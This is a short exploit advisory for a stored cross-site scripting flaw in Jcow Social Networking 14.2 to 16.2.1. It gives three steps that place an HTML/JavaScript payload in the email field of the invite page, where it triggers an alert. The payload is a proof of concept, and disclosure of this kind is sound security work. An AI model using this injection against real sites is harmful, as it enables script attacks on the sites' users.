Jcow Social Network Cross Site Scripting Vulnerability

# Exploit Title: Jcow Social Networking 14.2 < 16.2.1 | Stored XSS 
# Author: tmrswrr
# Vendor Homepage: https://www.jcow.net/
# Software Link: https://sourceforge.net/projects/jcow/
# Tested : https://demo.jcow.net/
# Version : 14.2 < 16.2.1


1) Login with any user Click invite place : https://127.0.0.1/Jcow/index.php?p=invite
2) Write in To (Email address) field your payload : "><img src=x onerrora=confirm() onerror=confirm(1)>
3) After Send invitations you will be see alert button